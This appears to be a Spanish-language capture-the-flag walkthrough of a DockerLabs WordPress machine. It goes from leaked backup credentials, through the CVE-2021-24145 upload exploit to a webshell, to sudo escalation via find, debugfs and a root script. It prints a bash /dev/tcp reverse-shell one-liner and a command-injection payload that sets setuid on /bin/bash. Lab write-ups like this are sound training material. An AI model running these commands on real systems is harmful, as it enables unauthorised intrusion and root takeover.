Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Escaneamos la dirección IP y podemos observar que solo tenemos un puerto habilitado.
Ingresamos a la página web y podemos observar que solo una página sencilla donde el botón About us
no es funcional.
Usando wappalyzer
podemos observar que trabaja bajo un servicio WordPress.
Por ello, al realizar un escaneo de directorios podemos observar wp-admin
, así como otro que nos llama la atención es el /backups
.
En backups podemos encontrar lo siguiente.
Descargamos el archivo y lo descomprimimos y podemos observar un user así como un password.
Probamos las credenciales en el login de WordPress y podemos observar que obtuvimos acceso.
Revisando podemos ver que tenemos 2 usuarios (developer y Erik), ambos cuentan con roles de administradores.
Revisando en plugins podemos observar que tenemos 3 agregados.
Sobre los plugins encontramos que la versión del plugin modern events calendar lite
tiene una vulnerabilidad que permite subir archivos arbitrarios. Buscando sobre el CVE-2021-24145 encontramos un exploit que es un RCE y donde nos indica como usarlo. Descargamos el exploit de https://www.exploit-db.com/exploits/50082
para ejecutarlo necesitamos realizar lo siguiente.
Ahora solo debemos copiar el URL que tenemos en la parte inferior y pegarlo en nuestro navegador, de esta manera podremos observar que tenemos un webshell
.
Lo que podemos realizar es migrar de la web shell a una más práctica en nuestra máquina.
bash -c 'bash -i >& /dev/tcp/192.168.0.5/1234 0>&1'
Una vez enviado podemos observar que en nuestro listener ya tenemos acceso y para ver qué permisos tenemos realizamos un sudo -l
y podemos observar que podemos elevar privilegios como rafa haciendo uso del binario find
.
Buscando el binario en GFTOBins podemos observar que tenemos la opción de elevar empleando un comando sencillo.
Antes recordar que esto es para elevar como root el cual si lo ingresamos de esta manera nos podría dar error, por ello debemos agregarle el usuario, de esta manera ya podríamos acceder como rafa.
Como rafa, si realizamos de nuevo un sudo -l
podemos observar que ahora tenemos el binario debugfs
para poder escalar como ruben.
También buscando el binario en GFTOBins podemos observar que tenemos la opción de elevar empleando un comando sencillo, sin olvidar que debemos agregar el usuario ruben.
El comando sería de esta manera y también podemos apreciar que ya tenemos acceso como ruben.
Volvemos a realizar un, sudo -l
esta vez podemos elevar como root por medio de bash pero también usando un archivo llamado penguin.sh.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola, seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Continuando, nos dirigimos a la carpeta opt
para ver qué permisos tiene el archivo y que realiza.
Una vez cambiamos de directorio observamos que solo lo puede modificar root y lo que realiza el archivo es pedir que se introduzca un número y si el número es igual a 42 da como correcto y si no da error, podemos observar que no se valida lo que el usuario ingresa. Lo cual claramente es un error como se sabe, ya que no se debe confiar en el input del usuario. Probando esto podemos observar que si ingresamos un texto para que haga de bypass, este ejecuta el comando y que lo ejecuta como root.
Para poder acceder como root podemos darle permisos setuid
a la bash
. De modo que cualquiera que acceda a esta lo haga en modo privilegiado. Nuestro comando debería verse así para poder brindarle los permisos.
test[$(chmod u+s /bin/bash)]
Volvemos a ejecutar el binario cumpliendo los requisitos y como respuesta enviamos nuestro comando y podemos observar que ya somos root. De esta manera culminando la máquina.